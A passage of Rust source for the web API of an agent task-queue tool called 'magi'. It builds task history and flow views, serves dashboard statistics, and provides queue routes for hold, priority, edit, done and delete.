6350        let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
6351        let label = match (prev_exit, into) {
6352            (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
6353            (Some((_, l, _)), None) => l,
6354            (None, Some(i)) => i,
6355            (None, None) => "claimed".to_owned(),
6356        };
6357        edges.push(FlowEdge {
6358            from: prev.clone(),
6359            to: key.clone(),
6360            label,
6361            attempt,
6362        });
6363        prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
6364        prev = key;
6365        nodes.push(n);
6366    }
6367    let mut end = node("end", "end", task.status.as_str().to_owned());
6368    end.status = Some(task.status.as_str());
6369    end.status_of = "task";
6370    // Other task states do not persist their transition start. In particular,
6371    // blocked_at can change while the task remains blocked.
6372    if task.status == TaskStatus::Held {
6373        end.started_at = task.held_at;
6374    }
6375    nodes.push(end);
6376    let (label, attempt) = match prev_exit {
6377        None => (
6378            format!("no run yet \u{2192} {}", task.status.as_str()),
6379            AttemptCost::None,
6380        ),
6381        Some((e, l, cost)) if e.explains(task.status) => {
6382            (format!("{l} \u{2192} {}", task.status.as_str()), cost)
6383        }
6384        Some((_, _, cost)) => (
6385            format!("closed by hand: task is {}", task.status.as_str()),
6386            cost,
6387        ),
6388    };
6389    edges.push(FlowEdge {
6390        from: prev,
6391        to: "end".to_owned(),
6392        label,
6393        attempt,
6394    });
6395    FlowView {
6396        nodes,
6397        edges,
6398        attempts: task.attempts,
6399        max_attempts,
6400        passes: history.len(),
6401        runs: distinct_runs(&task.runs),
6402    }
6403}
6404
6405/// How many different run ids a task's run list names.
6406fn distinct_runs(runs: &[String]) -> usize {
6407    let mut seen: Vec<&str> = Vec::new();
6408    for r in runs {
6409        if !seen.contains(&r.as_str()) {
6410            seen.push(r);
6411        }
6412    }
6413    seen.len()
6414}
6415
6416/// Describe recorded task passes, retaining unrecorded legacy list entries.
6417fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
6418    let mut slots = Vec::new();
6419    let mut seen = Vec::new();
6420    for run_id in &task.runs {
6421        if seen.contains(&run_id) {
6422            continue;
6423        }
6424        seen.push(run_id);
6425        let state = read(run_id);
6426        let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
6427            s.passes
6428                .iter()
6429                .filter(|p| {
6430                    p.task_entry
6431                        || task
6432                            .passes
6433                            .iter()
6434                            .any(|t| t.run == *run_id && t.pass_index == p.index)
6435                })
6436                .cloned()
6437                .collect()
6438        });
6439        let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
6440        let total = legacy_count.max(mine.len());
6441        let offset = total - mine.len();
6442        for k in 0..total {
6443            // Legacy repeated entries retain their original positions. When
6444            // ids are unique, recorded pass times recover the resume order.
6445            let position = task
6446                .runs
6447                .iter()
6448                .enumerate()
6449                .filter(|(_, r)| *r == run_id)
6450                .nth(k.min(legacy_count - 1))
6451                .unwrap()
6452                .0;
6453            slots.push((
6454                run_id,
6455                state.clone(),
6456                k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
6457                position,
6458            ));
6459        }
6460    }
6461    if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
6462        slots.sort_by_key(|(_, state, pass, _)| {
6463            pass.as_ref()
6464                .map(|p| p.started_at)
6465                .or_else(|| state.as_ref().map(|s| s.created_at))
6466                .map_or((true, task.created_at), |at| (false, at))
6467        });
6468    } else {
6469        slots.sort_by_key(|(_, _, _, position)| *position);
6470    }
6471    let mut history = Vec::with_capacity(slots.len());
6472    let mut seen: Vec<&str> = Vec::new();
6473    let mut prior: Option<(&str, RunStatus)> = None;
6474    for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
6475        let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
6476        let resumed = k > 0;
6477        seen.push(run_id);
6478        let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
6479        let pass = pass.as_ref();
6480        let settled = pass.and_then(|p| {
6481            task.passes
6482                .iter()
6483                .find(|t| t.run == **run_id && t.pass_index == p.index)
6484        });
6485        history.push(task_run_view(
6486            run_id,
6487            state.as_ref(),
6488            RunSlot {
6489                n: i + 1,
6490                resumed,
6491                resumed_later: slots[i + 1..]
6492                    .iter()
6493                    .position(|(id, _, _, _)| id == run_id)
6494                    .map(|off| i + off + 2),
6495                prior,
6496                last: i + 1 == slots.len(),
6497                pass,
6498                settled,
6499                pass_n: k + 1,
6500                passes_of_run: total,
6501            },
6502            task,
6503        ));
6504        if let Some(s) = &state {
6505            prior = Some((run::short_of(run_id), s.status));
6506        }
6507    }
6508    history
6509}
6510
6511/// Fill [`TaskRunView::badge`] for attempts that are no longer being driven.
6512/// An earlier pass of a resumed run keeps no badge (it has no status box).
6513fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
6514    if history.iter().all(|h| h.exit == RunExit::Interrupted) {
6515        return;
6516    }
6517    let (_, claimed, _) = run_row_inputs(ui);
6518    let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
6519    for h in history
6520        .iter_mut()
6521        .filter(|h| h.readable && h.exit != RunExit::Interrupted)
6522    {
6523        let Ok(state) = read_run(&ui.runs, &h.id) else {
6524            continue;
6525        };
6526        if state.status.done() {
6527            continue;
6528        }
6529        let live = state.liveness_with(
6530            claimed.contains(&h.id),
6531            |p| probe.borrow_mut().status(p),
6532            |p| probe.borrow_mut().started_at(p),
6533        );
6534        let waiting = !ui.questions.open_for(&h.id).is_empty();
6535        let display = run_display_status(&state, waiting, live);
6536        let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
6537        if matches!(word.as_str(), "stale" | "superseded")
6538            || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
6539        {
6540            h.badge = Some(word);
6541        }
6542    }
6543}
6544
6545async fn task_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TaskView>> {
6546    blocking(move || {
6547        let id = resolve_task(&ui.queue, &id)?;
6548        Ok(Json(TaskView::from(ui.queue.get(&id)?)))
6549    })
6550    .await
6551}
6552
6553async fn task_detail(
6554    State(ui): State<Arc<Ui>>,
6555    Path(id): Path<String>,
6556) -> ApiResult<Json<TaskDetailView>> {
6557    blocking(move || {
6558        let id = resolve_task(&ui.queue, &id)?;
6559        let task = ui
6560            .queue
6561            .get(&id)
6562            .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
6563        let inv = if task.status == TaskStatus::Blocked {
6564            Some(crate::blockers::Inventory::load_for(
6565                &ui.queue,
6566                &ui.questions,
6567                &task,
6568            ))
6569        } else {
6570            None
6571        };
6572        let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
6573        mark_badges(&ui, &task, &mut history);
6574        let runs_unreadable = history.iter().filter(|h| !h.readable).count();
6575        let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
6576        let origin = task.followup.as_ref().map(|fu| {
6577            followup_origin(
6578                fu,
6579                |tid| ui.queue.get(tid).ok(),
6580                |rid| read_run(&ui.runs, rid).ok(),
6581            )
6582        });
6583        let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
6584        let task_view = match inv.as_ref() {
6585            Some(inv) => TaskView::with_inventory(task, inv),
6586            None => TaskView::from(task),
6587        };
6588        Ok(Json(TaskDetailView {
6589            max_attempts,
6590            flow,
6591            followup_origin: origin,
6592            passes_total: history.len(),
6593            runs_distinct: distinct_runs(&task_view.task.runs),
6594            history,
6595            runs_unreadable,
6596            attempts_note: ATTEMPTS_NOTE,
6597            task: task_view,
6598        }))
6599    })
6600    .await
6601}
6602
6603/// A rate together with its denominator, so the client can tell "computed as
6604/// 0%" apart from "no data to compute it from" — both would otherwise
6605/// serialize as `0.0`. `None` means the denominator was zero.
6606#[derive(Debug, Serialize)]
6607struct RateView {
6608    pct: f64,
6609    denominator: usize,
6610}
6611
6612impl RateView {
6613    fn of(numerator: usize, denominator: usize) -> Option<Self> {
6614        (denominator > 0).then(|| Self {
6615            pct: 100.0 * numerator as f64 / denominator as f64,
6616            denominator,
6617        })
6618    }
6619}
6620
6621/// [`crate::stats::Totals`] for the wire: the raw counters plus the derived
6622/// rates, each paired with its own denominator via [`RateView`] rather than
6623/// exposing `Stats`' own percentage methods directly — see this module's
6624/// doc for why `Stats` itself is never serialized.
6625#[derive(Debug, Serialize)]
6626struct StatsTotalsView {
6627    runs: usize,
6628    merged: usize,
6629    ready: usize,
6630    blocked: usize,
6631    failed: usize,
6632    stalled: usize,
6633    verified_noop: usize,
6634    superseded: usize,
6635    in_progress: usize,
6636    completion_rate: Option<RateView>,
6637    tallied: usize,
6638    split: usize,
6639    split_rate: Option<RateView>,
6640    deliberated: usize,
6641    minds_changed: usize,
6642    converged: usize,
6643    review_rounds: usize,
6644}
6645
6646impl From<&stats::Totals> for StatsTotalsView {
6647    fn from(t: &stats::Totals) -> Self {
6648        Self {
6649            runs: t.runs,
6650            merged: t.merged,
6651            ready: t.ready,
6652            blocked: t.blocked,
6653            failed: t.failed,
6654            stalled: t.stalled,
6655            verified_noop: t.verified_noop,
6656            superseded: t.superseded,
6657            in_progress: t.in_progress,
6658            completion_rate: RateView::of(t.merged + t.ready, t.runs),
6659            tallied: t.tallied,
6660            split: t.split,
6661            split_rate: RateView::of(t.split, t.tallied),
6662            deliberated: t.deliberated,
6663            minds_changed: t.minds_changed,
6664            converged: t.converged,
6665            review_rounds: t.review_rounds,
6666        }
6667    }
6668}
6669
6670/// [`crate::stats::AgentStats`] for the wire.
6671#[derive(Debug, Serialize)]
6672struct AgentStatsView {
6673    agent: String,
6674    entered: usize,
6675    wins: usize,
6676    empty: usize,
6677    win_rate: Option<RateView>,
6678    competitive_entered: usize,
6679    competitive_wins: usize,
6680    competitive_win_rate: Option<RateView>,
6681    solo_entered: usize,
6682    solo_adopted: usize,
6683    solo_adoption_rate: Option<RateView>,
6684}
6685
6686impl From<&stats::AgentStats> for AgentStatsView {
6687    fn from(a: &stats::AgentStats) -> Self {
6688        Self {
6689            agent: a.agent.clone(),
6690            entered: a.entered,
6691            wins: a.wins,
6692            empty: a.empty,
6693            win_rate: RateView::of(a.wins, a.entered),
6694            competitive_entered: a.competitive_entered,
6695            competitive_wins: a.competitive_wins,
6696            competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
6697            solo_entered: a.solo_entered,
6698            solo_adopted: a.solo_adopted,
6699            solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
6700        }
6701    }
6702}
6703
6704/// [`crate::stats::ReviewerStats`] for the wire. `adopted_per_round` is a
6705/// ratio, not a percentage, so it carries no [`RateView`] — just the raw
6706/// value, `None` when `rounds` is zero.
6707#[derive(Debug, Serialize)]
6708struct ReviewerStatsView {
6709    agent: String,
6710    rounds: usize,
6711    seated: usize,
6712    submitted: usize,
6713    adopted: usize,
6714    unique: usize,
6715    timeouts: usize,
6716    adopted_per_round: Option<f64>,
6717    precision: Option<RateView>,
6718    unique_rate: Option<RateView>,
6719    timeout_rate: Option<RateView>,
6720}
6721
6722impl From<&stats::ReviewerStats> for ReviewerStatsView {
6723    fn from(r: &stats::ReviewerStats) -> Self {
6724        Self {
6725            agent: r.agent.clone(),
6726            rounds: r.rounds,
6727            seated: r.seated,
6728            submitted: r.submitted,
6729            adopted: r.adopted,
6730            unique: r.unique,
6731            timeouts: r.timeouts,
6732            adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
6733            precision: RateView::of(r.adopted, r.submitted),
6734            unique_rate: RateView::of(r.unique, r.submitted),
6735            timeout_rate: RateView::of(r.timeouts, r.seated),
6736        }
6737    }
6738}
6739
6740/// [`crate::stats::AdvisorStats`] for the wire.
6741///
6742/// `reflection_rate` is approximate by construction — see
6743/// [`crate::stats::AdvisorStats`]'s own doc — and the UI note that carries
6744/// that caveat is static text in `index.html`, not a field here.
6745#[derive(Debug, Serialize)]
6746struct AdvisorStatsView {
6747    agent: String,
6748    seated: usize,
6749    proposed: usize,
6750    absent: usize,
6751    faint: usize,
6752    strong: usize,
6753    reflection_rate: Option<RateView>,
6754}
6755
6756impl From<&stats::AdvisorStats> for AdvisorStatsView {
6757    fn from(a: &stats::AdvisorStats) -> Self {
6758        Self {
6759            agent: a.agent.clone(),
6760            seated: a.seated,
6761            proposed: a.proposed,
6762            absent: a.absent,
6763            faint: a.faint,
6764            strong: a.strong,
6765            reflection_rate: RateView::of(a.strong, a.proposed),
6766        }
6767    }
6768}
6769
6770/// [`crate::stats::E2eStats`] for the wire.
6771#[derive(Debug, Serialize)]
6772struct E2eStatsView {
6773    rounds: usize,
6774    failures: usize,
6775    sole_detections: usize,
6776    deferred: usize,
6777    sole_rate: Option<RateView>,
6778}
6779
6780impl From<&stats::E2eStats> for E2eStatsView {
6781    fn from(e: &stats::E2eStats) -> Self {
6782        Self {
6783            rounds: e.rounds,
6784            failures: e.failures,
6785            sole_detections: e.sole_detections,
6786            deferred: e.deferred,
6787            sole_rate: RateView::of(e.sole_detections, e.failures),
6788        }
6789    }
6790}
6791
6792/// [`crate::stats::ReleaseBumpStats`] for the wire.
6793///
6794/// `clean` is sent as a raw count, computed the same way
6795/// [`stats::ReleaseBumpStats::clean`] computes it (`recorded -
6796/// needs_attention`) — never derived client-side from `automerge_enabled`,
6797/// which would misclassify a `merged_directly` bump (automerge rejected, but
6798/// magi merged it directly, so no human involvement) as needing attention.
6799#[derive(Debug, Serialize)]
6800struct ReleaseBumpStatsView {
6801    merged: usize,
6802    recorded: usize,
6803    pr_opened: usize,
6804    automerge_enabled: usize,
6805    merged_directly: usize,
6806    needs_attention: usize,
6807    clean: usize,
6808    coverage_rate: Option<RateView>,
6809    automerge_rate: Option<RateView>,
6810    attention_rate: Option<RateView>,
6811}
6812
6813impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
6814    fn from(b: &stats::ReleaseBumpStats) -> Self {
6815        Self {
6816            merged: b.merged,
6817            recorded: b.recorded,
6818            pr_opened: b.pr_opened,
6819            automerge_enabled: b.automerge_enabled,
6820            merged_directly: b.merged_directly,
6821            needs_attention: b.needs_attention,
6822            clean: b.clean(),
6823            coverage_rate: RateView::of(b.recorded, b.merged),
6824            automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
6825            attention_rate: RateView::of(b.needs_attention, b.recorded),
6826        }
6827    }
6828}
6829
6830/// [`crate::queue::TaskCounts`] for the wire.
6831#[derive(Debug, Serialize)]
6832struct TaskCountsView {
6833    queued: usize,
6834    running: usize,
6835    done: usize,
6836    failed: usize,
6837    held: usize,
6838    blocked: usize,
6839    parked: usize,
6840}
6841
6842impl From<crate::queue::TaskCounts> for TaskCountsView {
6843    fn from(c: crate::queue::TaskCounts) -> Self {
6844        Self {
6845            queued: c.queued,
6846            running: c.running,
6847            done: c.done,
6848            failed: c.failed,
6849            held: c.held,
6850            blocked: c.blocked,
6851            parked: c.parked,
6852        }
6853    }
6854}
6855
6856/// [`crate::stats::RepoStats`] for the wire, one row per repository with
6857/// runs recorded — the summary the UI's repository selector is built from.
6858/// Carries no nested `Stats`: picking a repo means re-fetching
6859/// `GET /api/stats?repo=<repo>`, which reuses this same route's own
6860/// aggregation rather than duplicating it.
6861#[derive(Debug, Serialize)]
6862struct RepoSummaryView {
6863    /// `RunState.repo` exactly as recorded — the value `?repo=` matches
6864    /// against, full path and all (see [`stats_get`]'s own doc for why).
6865    repo: String,
6866    /// Display name only; never used for matching.
6867    name: String,
6868    runs: usize,
6869    completion_rate: Option<RateView>,
6870}
6871
6872impl From<&stats::RepoStats> for RepoSummaryView {
6873    fn from(r: &stats::RepoStats) -> Self {
6874        let t = &r.stats.totals;
6875        Self {
6876            repo: r.repo.to_string_lossy().into_owned(),
6877            name: r.name.clone(),
6878            runs: t.runs,
6879            completion_rate: RateView::of(t.merged + t.ready, t.runs),
6880        }
6881    }
6882}
6883
6884/// `GET /api/stats` - the whole answer. `Stats` itself carries no
6885/// `Serialize`, deliberately: its fields (and the CLI text `report::stats`
6886/// renders from them) are free to grow without that becoming a wire-contract
6887/// change, and its zero-denominator rate methods (`0.0`) cannot tell "no
6888/// data" from "computed and it really is zero" the way [`RateView`] does.
6889#[derive(Debug, Serialize)]
6890struct StatsView {
6891    totals: StatsTotalsView,
6892    /// Best win rate first, as [`stats::collect`] already sorts it.
6893    agents: Vec<AgentStatsView>,
6894    /// Most adopted-per-round first, as [`stats::collect`] already sorts it.
6895    reviewers: Vec<ReviewerStatsView>,
6896    /// Highest reflection rate first, as [`stats::collect`] already sorts it.
6897    advisors: Vec<AdvisorStatsView>,
6898    e2e: E2eStatsView,
6899    release_bumps: ReleaseBumpStatsView,
6900    queue: Option<TaskCountsView>,
6901    /// Same count and same meaning as [`HealthView::runs_unreadable`] - see
6902    /// that field's doc. Asserted to match it in
6903    /// `stats_runs_unreadable_matches_health`.
6904    ///
6905    /// Always the whole-workload count, even when `repo` narrows every other
6906    /// field to one repository - an unreadable `run.json` carries no `repo`
6907    /// a per-repository count could attribute it to, and the queue/health
6908    /// views this mirrors never scope it either. The UI must not present it
6909    /// as if it were scoped to the selected repository.
6910    runs_unreadable: usize,
6911    /// Every repository with runs recorded, most runs first - what the UI's
6912    /// repository selector is built from. Always the full list regardless of
6913    /// `repo`, so switching repositories never needs a second request.
6914    repos: Vec<RepoSummaryView>,
6915    /// Runs per local day over the last 30 days, oldest first, always 30
6916    /// entries. Days are the *server's* local dates (the UI must not convert
6917    /// them again), cut by run creation and classified by current status.
6918    /// Narrowed by `repo` like every other run-derived field.
6919    daily: Vec<DailyStatsView>,
6920    /// The `?repo=` value this response was narrowed to, echoed back so the
6921    /// UI can confirm its selection round-tripped. `None` for the aggregate,
6922    /// all-repositories view.
6923    repo: Option<String>,
6924    /// Agent ids left out of `agents` / `reviewers` / `advisors` because the
6925    /// current config roster no longer lists them. Empty with `?all=true`, an
6926    /// unreadable config, or when nothing was retired.
6927    retired_hidden: Vec<String>,
6928}
6929
6930/// One day of [`StatsView::daily`].
6931#[derive(Debug, Serialize)]
6932struct DailyStatsView {
6933    /// `YYYY-MM-DD`, server-local.
6934    date: String,
6935    runs: usize,
6936    merged: usize,
6937    ready: usize,
6938    other: usize,
6939    /// `None` on a day with no runs, so it never reads as 0%.
6940    completion_rate: Option<RateView>,
6941}
6942
6943impl From<&stats::DayBucket> for DailyStatsView {
6944    fn from(b: &stats::DayBucket) -> Self {
6945        Self {
6946            date: b.date.to_string(),
6947            runs: b.runs,
6948            merged: b.merged,
6949            ready: b.ready,
6950            other: b.other,
6951            completion_rate: RateView::of(b.merged + b.ready, b.runs),
6952        }
6953    }
6954}
6955
6956/// How many days [`StatsView::daily`] covers.
6957const STATS_DAILY_DAYS: usize = 30;
6958
6959/// `?repo=<path>` narrows `GET /api/stats` to the runs recorded against one
6960/// repository. Matched by full-path equality against `RunState.repo` only
6961/// (see [`stats::filter_repo`]) - never resolved by name the way the CLI's
6962/// `--repo` is, because the value here always came from this same route's
6963/// own `repos` list in an earlier response, never typed by a human. A value
6964/// matching no run is a 404, not an empty aggregate: the caller asked for a
6965/// specific, named repository, and silently returning zeroes would look
6966/// exactly like a repository that has runs but none of interest.
6967#[derive(Debug, Default, Deserialize)]
6968#[serde(default)]
6969struct StatsQuery {
6970    repo: Option<String>,
6971    /// `?all=true` keeps agents that are no longer in the roster.
6972    all: bool,
6973    /// The dashboard fetches queue counts independently of run history.
6974    runs_only: bool,
6975}
6976
6977/// `GET /api/stats` - task and run statistics for the dashboard, aggregated
6978/// by [`stats::collect`] (or [`stats::collect_refs`] over one repository's
6979/// runs when `?repo=` narrows it), the same counting logic `magi stats`
6980/// prints from. Reads every readable run on disk, exactly as
6981/// [`runs_unreadable`] does, so the two counts can never drift apart the way
6982/// a separately-maintained tally could.
6983async fn stats_get(
6984    State(ui): State<Arc<Ui>>,
6985    Query(q): Query<StatsQuery>,
6986) -> ApiResult<Json<StatsView>> {
6987    blocking(move || {
6988        let states: Vec<RunState> = run_ids(&ui.runs)
6989            .into_iter()
6990            .filter_map(|id| read_run(&ui.runs, &id).ok())
6991            .collect();
6992        let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
6993            .iter()
6994            .map(RepoSummaryView::from)
6995            .collect();
6996        let mut scoped: Vec<&RunState> = states.iter().collect();
6997        let mut collected = match &q.repo {
6998            Some(repo) => {
6999                let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
7000                if filtered.is_empty() {
7001                    return Err(ApiError::not_found(format!(
7002                        "no runs recorded against repo `{repo}`"
7003                    )));
7004                }
7005                scoped = filtered.clone();
7006                stats::collect_refs(filtered)
7007            }
7008            None => stats::collect(&states),
7009        };
7010        if !q.all {
7011            let repo = q
7012                .repo
7013                .as_deref()
7014                .map_or_else(|| ui.repo.clone(), PathBuf::from);
7015            stats::retain_current_roster(&mut collected, &repo);
7016        }
7017        let daily = stats::daily(
7018            scoped,
7019            jiff::Zoned::now().date(),
7020            &jiff::tz::TimeZone::system(),
7021            STATS_DAILY_DAYS,
7022        );
7023        let queue_counts = (!q.runs_only)
7024            .then(|| TaskCountsView::from(crate::queue::TaskCounts::of(&ui.queue.list())));
7025        Ok(Json(StatsView {
7026            totals: StatsTotalsView::from(&collected.totals),
7027            agents: collected.agents.iter().map(AgentStatsView::from).collect(),
7028            reviewers: collected
7029                .reviewers
7030                .iter()
7031                .map(ReviewerStatsView::from)
7032                .collect(),
7033            advisors: collected
7034                .advisors
7035                .iter()
7036                .map(AdvisorStatsView::from)
7037                .collect(),
7038            e2e: E2eStatsView::from(&collected.e2e),
7039            release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
7040            queue: queue_counts,
7041            runs_unreadable: runs_unreadable(&ui.runs),
7042            repos,
7043            daily: daily.iter().map(DailyStatsView::from).collect(),
7044            repo: q.repo.clone(),
7045            retired_hidden: collected.retired_hidden.clone(),
7046        }))
7047    })
7048    .await
7049}
7050
7051/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
7052/// gives no reason - which must keep working, since not every hold has one.
7053#[derive(Debug, Default, Deserialize)]
7054#[serde(default, deny_unknown_fields)]
7055struct HoldBody {
7056    reason: Option<String>,
7057}
7058
7059async fn queue_hold(
7060    State(ui): State<Arc<Ui>>,
7061    Path(id): Path<String>,
7062    body: std::result::Result<Json<HoldBody>, JsonRejection>,
7063) -> ApiResult<Json<TaskView>> {
7064    // An absent body is the ordinary case - most holds are unexplained, and
7065    // that has to stay a one-tap action rather than a form. A body that is
7066    // present and malformed is still a bad request.
7067    let body = match body {
7068        Ok(Json(body)) => body,
7069        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
7070        Err(e) => return Err(ApiError::bad_request(e.body_text())),
7071    };
7072    let reason = body.reason.filter(|r| !r.trim().is_empty());
7073    mutate(ui, id, move |t| {
7074        t.hold_manual(reason.clone());
7075        Ok(())
7076    })
7077    .await
7078}
7079
7080async fn queue_release(
7081    State(ui): State<Arc<Ui>>,
7082    Path(id): Path<String>,
7083) -> ApiResult<Json<TaskView>> {
7084    mutate(ui, id, |t| {
7085        t.release_operator("web", None);
7086        Ok(())
7087    })
7088    .await
7089}
7090
7091#[derive(Debug, Deserialize)]
7092#[serde(deny_unknown_fields)]
7093struct AttemptLimitBody {
7094    // Required even when clearing: missing fields must not silently erase an override.
7095    attempt_limit: serde_json::Value,
7096}
7097
7098async fn queue_attempt_limit(
7099    State(ui): State<Arc<Ui>>,
7100    Path(id): Path<String>,
7101    body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
7102) -> ApiResult<Json<TaskView>> {
7103    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7104    let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
7105        .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
7106    mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
7107}
7108
7109#[derive(Debug, Deserialize)]
7110#[serde(deny_unknown_fields)]
7111struct ImplementersBody {
7112    implementers: u8,
7113}
7114
7115async fn queue_implementers(
7116    State(ui): State<Arc<Ui>>,
7117    Path(id): Path<String>,
7118    body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
7119) -> ApiResult<Json<TaskView>> {
7120    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7121    mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
7122}
7123
7124#[derive(Debug, Deserialize)]
7125#[serde(deny_unknown_fields)]
7126struct UrgentBody {
7127    urgent: bool,
7128}
7129
7130async fn queue_urgent(
7131    State(ui): State<Arc<Ui>>,
7132    Path(id): Path<String>,
7133    body: std::result::Result<Json<UrgentBody>, JsonRejection>,
7134) -> ApiResult<Json<TaskView>> {
7135    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7136    mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
7137}
7138
7139/// The body of `POST /api/queue/{id}/priority`.
7140#[derive(Debug, Deserialize)]
7141#[serde(deny_unknown_fields)]
7142struct PriorityBody {
7143    priority: i32,
7144}
7145
7146/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
7147///
7148/// [`Task::set_priority`] is the one place the "not while running" rule is
7149/// stated; this route only carries the body to it and lets its `Err` become
7150/// the 4xx the card shows.
7151async fn queue_priority(
7152    State(ui): State<Arc<Ui>>,
7153    Path(id): Path<String>,
7154    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
7155) -> ApiResult<Json<TaskView>> {
7156    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7157    mutate(ui, id, move |t| t.set_priority(body.priority)).await
7158}
7159
7160/// The body of `POST /api/queue/{id}/edit`.
7161#[derive(Debug, Deserialize)]
7162#[serde(deny_unknown_fields)]
7163struct EditBody {
7164    title: String,
7165    instruction: String,
7166    /// Save even though the new text names a branch, commit or pull request
7167    /// that unfinished work already owns.
7168    #[serde(default)]
7169    force: bool,
7170}
7171
7172/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
7173/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
7174/// that refusal's message is what the sheet shows back.
7175async fn queue_edit(
7176    State(ui): State<Arc<Ui>>,
7177    Path(id): Path<String>,
7178    body: std::result::Result<Json<EditBody>, JsonRejection>,
7179) -> ApiResult<Json<TaskView>> {
7180    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7181    // The judge is an agent call, so it is awaited here, outside the claim
7182    // `mutate` holds: a daemon must not be kept waiting on it. What it saw is
7183    // remembered, and the save refuses if the task moved underneath it.
7184    let mut judged: Option<(String, PathBuf)> = None;
7185    if !body.force {
7186        let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
7187        let (id, text) = (id.clone(), body.instruction.clone());
7188        let (seen, hits) = blocking(move || {
7189            let id = resolve_task(&queue, &id)?;
7190            let t = queue.get(&id)?;
7191            if text == t.instruction {
7192                return Ok((None, Vec::new()));
7193            }
7194            let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
7195            Ok((Some((t.instruction, t.repo)), hits))
7196        })
7197        .await?;
7198        if let Some((_, repo)) = &seen {
7199            let cfg = crate::config::Config::discover(repo, None)
7200                .ok()
7201                .map(|(c, _)| c);
7202            let screened =
7203                crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
7204                    .await
7205                    .map_err(|dup| {
7206                        ApiError::conflict(dup.render(
7207                            "Nothing was saved. If it is not a duplicate, repeat the request \
7208                             with \"force\": true.",
7209                        ))
7210                    })?;
7211            if let crate::dupes::Screened::Unjudged(why) = screened {
7212                tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
7213            }
7214        }
7215        judged = seen;
7216    }
7217    let force = body.force;
7218    mutate(ui, id, move |t| {
7219        if !force && body.instruction != t.instruction {
7220            match &judged {
7221                Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
7222                _ => {
7223                    anyhow::bail!("the task changed while it was being checked; repeat the request")
7224                }
7225            }
7226        }
7227        t.edit(body.title.clone(), body.instruction.clone())
7228    })
7229    .await
7230}
7231
7232/// `POST /api/queue/{id}/done` - close a task as finished without deleting
7233/// it, so the phone's other way to clear a task from the backlog does not
7234/// have to cost the run history, the attribution, and `created_at` the way
7235/// [`queue_delete`] does. Behaves exactly like `magi task done`: any status
7236/// can be marked done by hand, because this is for the run the loop never
7237/// saw land - a merge done by hand, or a gate that misreported - and that can
7238/// happen from any status the task was left in.
7239async fn queue_done(
7240    State(ui): State<Arc<Ui>>,
7241    Path(id): Path<String>,
7242) -> ApiResult<Json<TaskView>> {
7243    let home = ui.home.clone();
7244    mutate(ui, id, move |t| {
7245        t.succeed();
7246        // Same as the loop's own settle path: closing a task by hand is just
7247        // as much "this task's story is over" as a daemon-driven `Merged`/
7248        // `Ready` is, so any earlier `Blocked`/`Stalled` attempt it leaves
7249        // behind must stop looking like it still needs a human. `ui.home`,
7250        // not the process-global `run::home()`: they agree in a real
7251        // process, but only `ui.home` also agrees with a test fixture's own
7252        // directory.
7253        crate::daemon::supersede_prior_runs(t, &home);
7254        Ok(())
7255    })
7256    .await
7257}
7258
7259/// `DELETE /api/queue/{id}`.
7260///
7261/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
7262/// names this task: a `running` status or an orphaned `.lock` left behind by a
7263/// killed daemon is a leftover, and treating either as authority made the
7264/// task undeletable from the phone for good. The associated runs, if any, are
7265/// kept: a run is self-contained history and not an appendage of the task.
7266async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
7267    blocking(move || {
7268        let id = resolve_task(&ui.queue, &id)?;
